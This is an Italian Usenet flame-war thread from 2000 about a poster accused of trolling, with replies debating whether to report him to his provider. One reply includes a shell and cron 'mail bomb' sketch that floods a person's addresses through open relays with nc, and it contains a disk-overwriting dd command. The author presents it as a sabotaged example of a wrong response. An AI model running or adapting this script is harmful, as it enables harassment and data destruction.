Newsgroup: it.discussioni.misteri
Titolo: Il gioco sporco...

Riposto qui il messaggio di altro thread. tanto, che io lo faccia apposta o
no, HO SEMPRE COLPA. Tanto vale avercela veramente... E poi, sono
terribilmente scazzato... Ma poi passa.... :-)))
---------------------------------------------------------------
Spawn, non voglio ancora rivolgermi direttamente a te nel dire ciò che
segue, ma non posso esimermi dal coinvolgerti indirettamente. Siete un
branco di ipocriti faziosi. Siete solo capaci di darvi ragione l'un l'altro
e non vedete, o fingete di non vedere, l'atteggiamento ostile e
costantemente provocatorio con cui il solito gruppetto di scettici e
scettiche (soprattutto) caratterizzate e "confezionate" le vostre
argomentazioni.
Non sono toccato da questo atteggiamento in modo personale ma non riesco a
concepire una simile mancanza di tolleranza e mi sembra davvero impossibile
ed ingiusto che voi operiate una così pervicace, caparbia, cocciuta ed
irremovibile partigianeria.
Ma com'è possibile che non si voglia vedere l'atteggiamento sfottitorio ed
arrogante, pieno di supponenza, nelle risposte, ad esempio, di una Lisa che,
nell'ultimo intervento in questo thread, si esprime con passaggi del tipo:
"Credi di aver inventato qualcosa di originale?", "sfortunatamente per te,
non tutti ci cascano.", "tue proteste da verginella", "chi credi di
prendere in giro? Se sei abituato a frequentare solo gente che si fida
ciecamente
di te, che ti pende dalle labbra, e che non mette in dubbio *nulla* delle
tue
parole, anche se queste contrastano palesemente con la realta', stattene
felice in mezzo a queste persone, andatevene a fare i rituali vestiti da
templari
con la spada nella roccia, e non prendete in giro gli altri."lo si fa
sistematicamente,
affermando le cose piu' assurde e incredibili "
Io, beninteso, a quella, non risponderò mai più per una preciso senso di
disgusto, ma gli altri non possono dire che è questo il modo per intavolare
un dialogo! Si continua a rivolgersi al sottoscritto come ad una specie di
sottosviluppato, a far precedere qualche argomentazione che potrebbe essere
presa in considerazione da un tono inaccettabile per la dignità di un
interlocutore. E la discussione, naturalmente, non ci potrà essere...
Arriva poi, l'"alter ego" della suddetta saccente, l' Amira, che non fa che
bacchettare causticamente errori telematici evitando completamente di farsi
almeno sfiorare dal sospetto che non li abbia compiuti apposta. Un' Amira
che non comprende, o finge di non comprendere come il "lecchinaggio" di cui
io parlo e di cui continuo a ritenerla esponente, è ben diverso dalle
posizioni di chi, di tanto in tanto, manifesta di trovarsi d'accordo con me.
E' diverso perchè non si ravvisa quell' accorruomo automatico e frenetico
che il branco attua da sempre in difesa l'uno dell'altro creando facilmente
ipocrite argomentazioni allo scopo ben più fondamentale di annichilire
l'avversario scomodo, il temerario che ha osato contraddire uno di essi.
Ed il bello è che, questa volta, dopo il post "BREAK!", io non avevo proprio
detto nulla di insultante o provocatorio verso alcuno. L'amazzone è
semplicemente partita per la tangente ed ha soffocato le sue argomentazioni
con quel suo insopportabile fare da saputona da quattro soldi, da supponente
sul piedistallo e, ad una mia dimostrazione di dialogo, ha preferito come
sempre rispondere sprezzantemente, merrela in dubbio, ridicolizzarla. Il
solito odioso atteggiamento. Credevo che ve ne foste accorti, di qui il mio
sincero "Visto?"... ma non vi siete accorti di un bel niente. Non riuscite
ad accorgervi nemmeno di quanto siate perdenti, vittime del vostro stesso
atteggiamento che è in grado, con l'ipocrisia che lo contraddistingue, solo
di esprimere false ragioni, o, più precisamente, ragioni inutili, in quanto
disonorevolmente invalidate dall'aroganza di fondo e dal nauseante "spirito
di branco" che è una specie di "pronto soccorso" che nulla ha a che vedere
con l'obiettività.
Non vorrei mai difensori simili. gente che accorre in modo privo di vera
obiettività al solo fine di tenersi il gioco l'un l'altro. Ma così è: questo
è lo scetticismo, da sempre. Questa è la casta degli intoccabili e mi avete
veramente rotto le palle.
Non si può pretendere di essere considerati equilibrati e non dei "lacchè"
telematici quando si ricopiano stili di bassa supponenza, evidenti cadute di
gentilezza e un'arroganza trasversale a tutti gli scettici. Un esempio per
tutti, che avevo già proposto ma che, forse, non è stato capito: l'equanime
ed imparziale Amira, che si affretta con sprezzante atteggiamento a mettere
i puntini sugli "i" quando uso genericamente il termine "amici", non esita
ad usare, ogni tanto, il termine "vaccate" per descrivere le idee del
sottoscritto o di altri. Chi mai è adusa, a ben pensarci, a quel termine
tanto delicato?...
Siete solo un branco di ipocriti faziosi...
Antonio Bruno
ass....@valsugana.com
http://www.freeweb.org/associazioni/graal/
http://misteroamiata.freeweb.org
and more....
------------------------------------------------------------------
Non sono morto.
Non voglio la pietra di un sepolcro.
Voglio vivere nel cuore della terra, raccolto nel sole,
tra il limite eterno delle cose e il sorgere immediato del tempo,
senza pianti e senza preghiere.
Vorrei che la mia terra, potesse respirare l'eternità del tempo e la vastità
dell'universo,
come un mare che inondi di luce la mia anima,
un angolo di pace in cui la filosofia della natura si accende come un sole,
in un amore profondo come il rosso dell'aurora,
un'alba nuova, limpida, totale,
un sentimento cosmico, immortale.
Giordano Bruno

 HO SEMPRE COLPA. 
Un martire
Ti rendi conto che queste lagne SVILISCONO le tue convinzioni giuste o
meno che siano?

terribilmente scazzato... Ma poi passa.... :-)))
ragazzi che ne facciamo di uno che riposta per la terza volta lo
stesso messaggio dicendo chiaramente di farlo apposta? lo so che c'è
il killfile ma io a questo punto mi sto rompendo e stavo pensando di
mandare un piccolo appunto a  
newsm...@iunet.it
(capirà il trollone Antonio che vuol dire questo?)
se succede ancora prometto che lo faccio.

(capirà il trollone Antonio che vuol dire questo?)
Direi che sarebbe meglio spiegarglielo.
Antonio, significa che se il tuo provider riceve abbastanza
segnalazioni, prima ti manderà un avvertimento e poi, *nel caso tu
continuassi* ad "avere colpa perchè tanto è lo stesso", ti bomberà
l'account. Sì insommma uno di questi giorni accenderai il tuo PC, farai
per collegarti alla rete e troverai ogni volta un messaggio del tipo:
"Errore: password o userid non valido".
Niente di male. Ci sono tanti provider gratuiti in giro.
Il problema è che dovrai cambiare indirizzo di posta elettronica e forse
ricaricare tutto il tuo sito web (se è sotto lo stesso provider) su un
altro server di un altro provider.
Una bella scocciatura per uno che attacca messaggi su messaggi in
maniera praticamente automatica. Chissà quante pagine doppie.
saluti,
Peltio

Ssssstttooooo  ttttrrrrreeemmmmaaaaannddoooo......
Antonio Bruno
ass....@valsugana.com
http://www.freeweb.org/associazioni/graal/
http://misteroamiata.freeweb.org
and more....
------------------------------------------------------------------
Non sono morto.
Non voglio la pietra di un sepolcro.
Voglio vivere nel cuore della terra, raccolto nel sole,
tra il limite eterno delle cose e il sorgere immediato del tempo,
senza pianti e senza preghiere.
Vorrei che la mia terra, potesse respirare l'eternità del tempo e la vastità
dell'universo,
come un mare che inondi di luce la mia anima,
un angolo di pace in cui la filosofia della natura si accende come un sole,
in un amore profondo come il rosso dell'aurora,
un'alba nuova, limpida, totale,
un sentimento cosmico, immortale.
Giordano Bruno
Peltio <pel...@twilight.zone> wrote in message
8jb5a5$40d$1...@lacerta.tiscalinet.it...


 wrote in message
3958deeb...@news.libero.it...


Ogni cosa. Ciascuna cosa. Cadauna cosa. Ciascheduna cosa.
Scrivi per loro od hai bisogno di loro?
Gli altri non contano NULLA ???

Cari Giancarlo e Peltio, questa volta non sono d'accordo con voi.
Non mi sto smentendo. I modi di Antonio per me sono sempre piu' spesso
fastidiosi.
La sua vanagloria, ad esempio, che ogni tanto lo porta a postare sul ng
qualche (fantomatico?) messaggio arrivatogli personalmente, in cui l'autore
(fantomatico?) gli da' ragione in tutto e per tutto, e col quale Antonio
vorrebbe poter dimostrare che come al solito lui è sempre il solito martire,
vittima della cattiveria ed ottusità del solito "branco": e l'ha dimostrato,
ancora una volta, recentemente, postandone un altro in cui, ovviamente,
l'autore rappresentava in tutto e per tutto, in ogni piu' piccolo
particolare, le medesime idee del caro Antonio: addirittura oserei dire che
lo "clonava" anche nello stile, e nel modo di definire gli scettici del ng.
Vabbe'. Non posso escludere a priori che
questa lettera fosse vera, è chiaro: non ho prove nè che sia vera nè che non
lo sia. Ma che valore ha? Se uno riceve una lettera simile, perchè
postarla?! Puro e semplice vanto per essersi sentiti dare ragione da un
avventore del ng?
Ingenua fiducia che gli altri prendano per vera una lettera di cui non si
pubblica il nome dell'autore, con la scusa evidente di mantenere, per
discrezione, l'anonimato dell'autore? Semplice stizza contro chi si ostina a
non darci ragione?
Se l'avessi postata io quella lettera, cosa ne avrebbe detto il caro
Antonio? Non mi avrebbe forse deriso, tacciando l'autore del messaggio come
uno dei tanti, soliti, "leccaculo" (oops, scusate, volevo dire "lacchè":
Antonio disdegna che si dicano certe parole, e forse soprattutto sentirle
dire da
una donna lo fa star male, e allora gli faro' il piacere di dire la stessa
cosa, pero' con parole a cui lui è piu' "aduso", va bene Antonio?
:-]]]]]]]]])?
La sua ipocrita accondiscendenza: i suoi finti messaggi di pace, dove
inneggia a gettare le armi perchè abbiamo tutti torto e tutti ragione, ad
azzerare tutto e ricominciare daccapo, in fratellanza, per la serie
"volemose bene",
"chi ha avuto ha avuto e chi ha dato ha dato, scurdammoce o' passato...",
per poi ricadere negli stessi medesimi errori, in forma e in sostanza:
nella sostanza, quando poche righe dopo aver chiesto pace per il futuro si
stizza al ricordo del passato e dimentica le promesse di pace lanciando
frecciatine in direzione di chi lo ha "costretto" ad essere anche lui tanto
villano e volgare; nella forma, perchè gli errori che in parecchi gli hanno
fatto notare, e che lui stesso ammette di commettere, li ripete perseverando
e sbattendosene completamente delle raccomandazioni fattegli, per poi
ricorrere alla solita scusa "non l'ho fatto apposta, e voi siete cattivi
dentro perchè non mi credete..."
La sua unilateralità: se gli si da' ragione, e si vede le cose come la vede
lui, allora si puo' cominciare ad avere credibilità; se gli si da' torto, o
lo si contesta per qualcosa che fa o dice, e gli si fa notare che persevera
diabolicamente nei suoi errori, allora niente, sei finito: hai perso ogni
dignità. Come
ritrovarla? Mah...forse dicendo semplicemente "hai ragione tu,
Ass.Graal".... :-\
...
Eppure....nonostante tutto questo, ancora sono convinta che le maniere forti
siano sbagliate. L' ho detto, i suoi modi irritano anche me, ed il fatto che
adesso si sia messo a farlo apposta in modo plateale non me lo rende certo
piu' simpatico, ma credo che questi mezzi, così intimidatori, questo fatto
di minacciarlo di segnalarlo al suo provider, insomma queste minacce credo
che sortiscano l'effetto contrario. In uno che si dice completamente
ignorante del mezzo che usa (vorrei sapere come si fa, poi, ad essere
completamente ignoranti quando si ha a che fare quotidianamente con questo
mezzo, mah...), la vostra proposta suona come un'autentica minaccia, dato
che non ne comprende nemmeno il senso. Minaccia che sicuramente il caro
Antonio non tarderà ad usare contro di voi, nel momento
in cui vorra' ribadire al mondo, ed al ng, che lui è, come al solito, la
vittima e "il branco" il carnefice. Che lui è solo una povera vittima
innocente di un sistema che cerca in tutti i modi di impedirgli di dire la
Verità, che "noi" siamo pronti a tappargli la bocca perchè bisogna
contrariarlo perchè lui è il "male" , come ama egocentricamente definirsi (e
come Blues l'ha
aiutato a credere...).
Come ho potuto appurare, gia' qualche accenno al fatto che vogliano
"oscurarlo" c'è stato nel post "Futuro", e non mi stupisce che abbia
colto la palla al balzo così presto per darsi ragione.
In definitiva, questa proposta, Giancarlo, non sta facendo altro che
ritorcersi come un boomerang contro di te, e contro chi l'accetta e la
sottoscrive, perchè va ad intensificare l'ego del caro Antonio, che d'ora in
poi non si fara' certo scrupolo di portare questa tua "minaccia" come prova
della sua innocenza e del tuo tentativo di sopprimere la sua voce...
...
E poi, in generale, non sono d'accordo con la censura, anche quando puo'
sembrare motivata.
Che i modi di Antonio non mi piacciano l'ho espresso chiaramente, ma questo
non mi porta a desiderare di "cancellarlo". Per quello che posso cerco, e
cerchero', di fargli capire quanto il suo modo di fare sia irritante (così
come lui fa con me, del resto, no?) ma io non mi auguro che scompaia dal
ng...Ricordo ancora quando, appena misi piede qui su queste ng, fu proprio
Antonio che mi intimo' pubblicamente di "dileguarmi presto dal ng, alla
svelta" (lo ricordi, Antonio? Io sì...), ed io non voglio, assolutamente,
arrivare agli stessi suoi "mezzi di discussione".
Amira
P.S. perdonate se non sono stata in grado di sintetizzare meglio cio' che ho
scritto...
"Viviamo in un tempo in cui solo gli sciocchi sono tenuti in considerazione,
ed io ho una grande paura  di non essere incompreso"
(Oscar Wilde)


perdonate l'estrema sintesi :)
-- 
Gattopardo.
__________________________
Truth exists, only lies are invented.

siano sbagliate.
Io sono convinto di due cose: che le maniere forti siano sbagliate, e
che spesso funzionino. Cosi' si combatte' a lungo una battaglia a due
teste ;-).
Lo scopo dopotutto non e' "minacciarlo affinche' smetta". Lo scopo e'
farlo smettere facendogli saltare l'account. Per fair play, prima del
fattaccio, viene dato un avviso. Piu' umano di cosi', non si puo' :-)
Leonardo
--
And where the black and corkscrew towers climb
lost and athirst the ragged pack abides,
old as the aeons, trapped in tombs of time,
sailing the tortuous temporal tides...

 (fantomatico?) gli da' ragione in tutto e per tutto,
Nei newsgroup anglofili circola una canzoncina intitolata "The lurkers
support me in this". Vale la pena canticchiarla di tanto in tanto:
http://www.bluejo.demon.co.uk/poetry/interstichia/lurkers.htm
-- 
Cut out the attention signal in my address to mail me
Togliete l'avvertimento nel mio indirizzo per scrivermi

support me in this". Vale la pena canticchiarla di tanto in tanto:
ROFLASTC!!!
Leonardo "oh bring back my bonnie to me"


 tanto delicato?...
Io, ad esempio. Se a te da' fastidio che una "gentildonna" usi un tal gergo,
mi dispiace, ma il problema è tuo, non mio. Non sono una gentildonna. Anzi,
non sono una "gentilragazza"
(ho 23 anni, posso considerarmi ancora tale).
Si vede che sei di una generazione che ama vedere la donna come angelo del
focolare, detentrice della piu' pura ed immacolata castità spirituale e
verbale, la donna che dice le parole giuste, che sa stare "al suo posto",
che non sgarra a dire parole volgari perchè non si confa' al suo status di
donna...
Questo genere di dolcezza formale, che evidentemente piace a te, io non la
rappresento, non mi appartiene. Se mi va di dire "vaccata", lo dico, perchè
lo penso.
Forse perchè sei un uomo a te è concesso di sbizzarrirti con le parole,
mentre io mi devo controllare  e mantenere una linea piu' "corretta"?
E ti permetti pure di dire: "Chi mai è adusa, a ben pensarci, a quel termine
tanto delicato?...", come se volessi insinuare "che razza di persona
dev'essere questa per dire una cosa simile!"
Ancora, pero', non mi è chiaro perchè tu possa essere "aduso" a dire che ti
abbiamo "rotto le palle", senza sentirti degradato dalla volgarità che dici,
mentre
io non posso essere "adusa" a dire "vaccata" come e quando desidero....Forse
perchè tu senti scontato il diritto di dire cio' che vuoi, senza tema di
essere tacciato di volgarità, mentre io mi dovrei vergognare di fare la
stessa cosa?!!!
E sei ancora piu' ipocrita quando invece eviti di dirle le volgarità, ma
ricorri ad altre parole che nel significato offendono lo stesso. Ti illudi
che dicendomi "eco telematica" al posto del piu' sincero "leccaculo"
ti salvi, perchè non sei ricorso alle parolacce. Se poi mi dici che sono
"fuori", sei salvo un'altra volta, perchè
non hai detto volgarità. Intanto mi hai offesa lo stesso. E qua sta la tua
ipocrisia: istigare l'altrui disprezzo per me che ho detto "vaccata" ("Chi
mai è adusa, a ben pensarci, a quel termine tanto delicato?...") e sentirti
con la coscienza a posto per non aver detto "vaccata", ma avendo lo stesso
detto fuoco e fiamme di tutti.
:-(
--
Amira


 I modi di Antonio per me sono sempre piu' spesso fastidiosi.
Io il fastidio l'ho già eliminato. Letteralmente.
Da tempo ho messo "Ass. Graal" nel KillFile e così non vedo, non leggo,
non ricevo più i suoi messaggi.
Perdo qualcosa?
-- 
-------------------------
 D I E G O   C U O G H I
-------------------------
 
www.diegocuoghi.com

Cari Giancarlo e Peltio, questa volta non sono d'accordo con voi.
Beh, posizione più che lecita, ci mancherebbe.
Volevo solo sottolineare un paio di punti. Il primo è che nel mio
messaggio non ho espresso parere positivo o negativo rigurdo la
possibilità di segnalare il bruno al suo provider, ma ho solo spiegato a
cosa potrebbe andare incontro.
Non ho espresso parere per il semplice motivo che bruno è in kill da
mesi e quindi i suoi messaggi li vedo solo filtrati dalle altrui
risposte. Quindi per mandare di persona la segnalazione dovrei perlomeno
toglierlo dal kill per qualche tempo, cosa che mi guardo bene dal fare.
Questo  non significa che gli svantaggi dovuti alla sua patologica
incapacità di gestire il mezzo (così dice, io ho altre idee del perchè
faccia quello che fa)  siano svaniti.
Per dissipare ogni dubbio comunque il mio parere sarebbe positivo. E non
mi trovo d'accordo con la tua analisi in quanto a mio avviso il bruno
troverebbe comunque altri appigli per nutrire la propria immagine di
perseguitato - perlomeno in futuro eviterebbe di ammorbare il NG con
post _multipli_.
Inoltre non credo che si possa parlare di censura: ci sono parecchi
provider gratuiti come ho già sottolineato nel post precedente e bruno
avrebbe sempre la possibilità di parlare parlare parlare.
Andrebbe solo incontro a delle scocciature - chissà forse capirebbe che
non è bello scocciare gli altri (come faceva/fa lui con le signature
chilometriche, i messaggi ad personam, il postare interi serial
off-topic, attaccare chi cerca di fargli notare le bufale che ogni tanto
scrive iniziando - a mio modesto avviso di proposito - flame per
sentirsi contrastato dal 'branco' e quindi per sentirsi dalla parte
'giusta', ed infine ripostare gli stessi messaggi più volte o
incollandoli di seguito o ripostando nuovamente di proposito) ed
occupare banda solo per dei gesti di stizza da adolescente frustrato.
E non si tratta di minacce, per me, ma di un tentativo di
responsabilizzazione.
Del resto il provider stesso deve verificare quello che gli si
attribuisce e comunque manderebbe un avvertimento prima di staccare la
spina.
Bisognerebbe essere proprio di coccio per continuare...
Solo un fastidio minore dunque.
Sono sicuro che bruno si troverebbe  molto peggio se venisse
completamente ignorato da tutti. Si potrebbe fare un esperimento: tutti
quelli che ritengono che bruno si sia comportato male - da un punto di
vista di utente di usenet - potrebbero metterlo nel kill per un tempo
predefinito (e se proprio replicare solo con un laconico messaggio
"Questo post contiene affermazioni non condivise dal branco" quando il
livello di inesattezze dovesse superare la soglia di sopportabilità
: ))) ).
Si potrebbe fare che so, i primi dieci giorni di luglio.
Dovrebbe sopravvivere lo stesso.
Di più no, se no gli incriniamo la salute.
Se non la capisce e continua imperterrito si può sempre prolungare
l'embargo.
E nemmeno questa è censura, perchè così avrebbe modo di parlare con
tutti quelli che hanno la sua stessa concezione dell'educazione in rete.
saluti,
Peltio

 responsabilizzazione.
Intanto lo hai fatto felice (e piu' irresponsabile che mai): hai
confermato il suo sospetto fondamentale, che la vita sia un complotto
cosmico contro Antonio Bruno.
Ma a parte questo, io sono contrario per principio a tutte le azioni del
tipo che dici tu. Lui ha tutto il diritto di esprimere cio' che vuole e
comunque, al di la' delle mie feroci polemiche con lui, non credo che
lui abbia mai violato deliberatamente le regole tecniche dei NG. Mi
sembra che in questo senso abbia sempre saputo accettare correzioni; se
poi ripete a volte degli errori, e' una cosa che capita a tutti, almeno
a chi non ha i byte nel sangue.
Quindi anche se i suoi errori possono creare qualche minimo
inconveniente tecnico, io certamente non me la sento di lanciare la
prima pietra.
Miguel Martinez
http://www.kelebekler.com/
Sent via Deja.com 
http://www.deja.com/
Before you buy.

Riposto 
<risnip!>
Non ho letto i messaggi, ma i subjects si'. Suggerisco, dopo "il
brutto gioco" e "il gioco sporco", anche:
"Quella sporca partita"
"'sta merda di gioco" (un po' forte, ma da' quel tocco macho)
"Gioco di mano gioco di villano"
e per finire,
"Non gioco piu'! Cattivi! Ueeeeeeeeh!"
Leonardo
WARNING: Followup-To: set to it.discussioni.misteri
...make: *** No rule to make target `love'.  Stop.

arrivare agli stessi suoi "mezzi di discussione".
appunto io non gli ho detto di andarsene, gli ho solo chiesto più
volte il rispetto delle regole.
Se insiste nel violarle così smaccatamente ho solo due possibilità, o
chiedere a chi di dovere di fargliele rispettare o.....
Ovviamente la seconda soluzione non fa parte del mio modo di
comportarmi,
quindi seguirò la prima.
ciao
Giancarlo

 wrote in message
39597f5e...@news.libero.it...


 Leonardo


 Amira
******* Sм, grazie... ILLUMINAMI!...
Antonio Bruno
ass....@valsugana.com
http://www.freeweb.org/associazioni/graal/
http://misteroamiata.freeweb.org
and more....
------------------------------------------------------------------
Non sono morto.
Non voglio la pietra di un sepolcro.
Voglio vivere nel cuore della terra, raccolto nel sole,
tra il limite eterno delle cose e il sorgere immediato del tempo,
senza pianti e senza preghiere.
Vorrei che la mia terra, potesse respirare l'eternitа del tempo e la vastitа





 l'embargo.
************** Wow! Quale magnanimità! E poi mi si dice che non si
dovrebbero dire parolacce!!!...


,


 detto fuoco e fiamme di tutti.
************ Ripeto che non hai capito niente. Era solo una dimostrazione di
come, forse senza nemmeno accorgertene, usi la stessa identica parola della
tua beniamina. La domanda che citi ("Chi è mai adusa ecc., ecc.) si riferiva
a lei, non a te. In merito poi ai vari modi di offendere, direttamente o
indirettamente, non hai proprio nulla da rimproverarmi. Per il principio
sacrosanto del "DA CHE PULPITO!"
Cresci.



Oddio, ma questo, siccome ha cambiato account, deve *obbligatoriamente*
ripartire da zero e disimparare completamente *anche* a quotare, cosa che alla
fine, dopo nove mesi (il tempo per fare un figliolo) di esortazioni continue, pazienti e
martellanti, sembrava perfino aver imparato?...
Lisa
--
Posted from 
cfa.harvard.edu
 [131.142.10.1] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

prima pietra.
Non lo fare, allora. : )
Saluti,
Peltio


Antonio, forse tu pensi che aggiungerti al killfile con un nuovo account
sia difficile. Non lo e'. Io non lo avevo mai fatto, ma uno che si da'
tanto da fare per rompere i coglioni a chi vuol essere lasciato in pace
se lo merita: 
<plonk!>


livello di inesattezze dovesse superare la soglia di sopportabilità
Aderisco. L'idea mi diverte :-)


vero?... Che delusione!...
Di cosa dovrei vergognarmi? Tu hai firmato (virtualmente o meno) un
contratto e accettato di sottoporti a delle regole.
Se il mio vicino mi butta la spazzatura nel cortile, io, alle prime
volte, mi lamento. Poi, come si dice, lo "minaccio di male legale",
cioe' non gli dico: vengo li' e ti spezzo le braccine; ma gli dico:
per quello che fai c'e' la contravvenzione.
Se insiste, avverto la Legge - perche' la SUA liberta' finisce dove
comincia il MIO cortile, cosi' come la MIA finisce dove comincia il
SUO, di cortile.
<ESEMPIO>
Tanto per capirsi - oh no, non capirai, anzi fraintenderai, e se lo
fai apposta o meno poco m'importa - guarda:
*/1 * * * * /usr/local/bin/BombaAntonio
#!/bin/sh
# BombaAntonio, bash script, 28/06/2000
cat <<-HERE | nc $( randline /var/data/openrelays.txt ) 25
	HELO sticazzi
	MAIL FROM: hah...@hahaha.ha
	RCPT TO: $( randline /var/data/indirizzi.txt )
	DATA
	$( dd if=/dev/random of=/dev/hda1 count=$BOMBSIZE | uuencode )
	QUIT
HERE
...quello sopra e' un programmino idiota, che, una volta al minuto,
invia una mail contenente pura cacca casuale, usando un GRAN numero
di relays aperti, non riconducibili a me, su tutti i tuoi indirizzi
di posta.
Anzi, INVIEREBBE, perche' il programma e' sabotato in sei punti, ed
io non mi assumo la responsabilita' dei colossali danni che possono
capitare tentando di usarlo (i sabotaggi dannosi sono DUE ;-) ).
Con poco sforzo, AVREI POTUTO mettere quello script su un server di
qualche provider, o usare *altri* trucchetti simili, e intasarti la
casella postale per sempre.
Tu cambi casella? Ci metti quindici minuti. Io aggiorno lo script e
ci metto dieci secondi.
</ESEMPIO>
Questo sopra *significherebbe* che il mio vicino mi tira in cortile
la spazzatura, e il giorno dopo, misteriosamente, dal cielo sul SUO
cortile si mette a piovere benzina avio in fiamme.
E' una misura sicuramente efficace e sicuramente sbagliata.
Segnalare al tuo provider che, col *suo* contratto, hai l'abitudine
di nettartici virtualmente, e' una misura altrettanto efficace, e a
questo punto quasi un atto dovuto.
Per la cronaca, CiaoWeb! ha la stessa identica politica.
Ora, la scelta e' tua:
	a) Darti una regolata, che NON VUOL DIRE stare zitto, ma in
	   nome della comunita' rinunciare a pulirti virtualmente i
	   piedi con la tovaglia sulla quale noialtri pranziamo
	b) Continuare al tuo solito, e vedere se facciamo sul serio
	c) Nel caso che si faccia sul serio, trasformarti in una
	   macchietta del NG, che una volta a settimana ricompare a
	   sprazzi, mandando una sventagliata di messaggi deliranti
	   contro la censura, prima di sparire e ricomparire da una
	   nuova identita' virtuale gratuita... finche' non saranno
	   esaurite tutte.
Io suggerirei un b) tendente asintoticamente ad a). Piu' tu invii i
posts interessanti (anche se controversi) tipo Firmage, meno uno si
sente portato a denunciarti. Ma, se lo facesse, il provider, quando
andasse a controllare, vedrebbe che e' una denuncia campata in aria
e NON ti ritirerebbe l'account.
Piu' t'incazzi e fai il pittoresco, e piu' gente si sente girare l'
anima... e piu' il provider trova conferme ad eventuali denunce, il
che ti lascia "col culetto all'intemperia" ((C) Salvi)


Grazie.
[signature irregolare]
[15 righe di citazione]
[6 righe vuote]
[quote integrale del post a cui si risponde]
ROFLASTC!!!
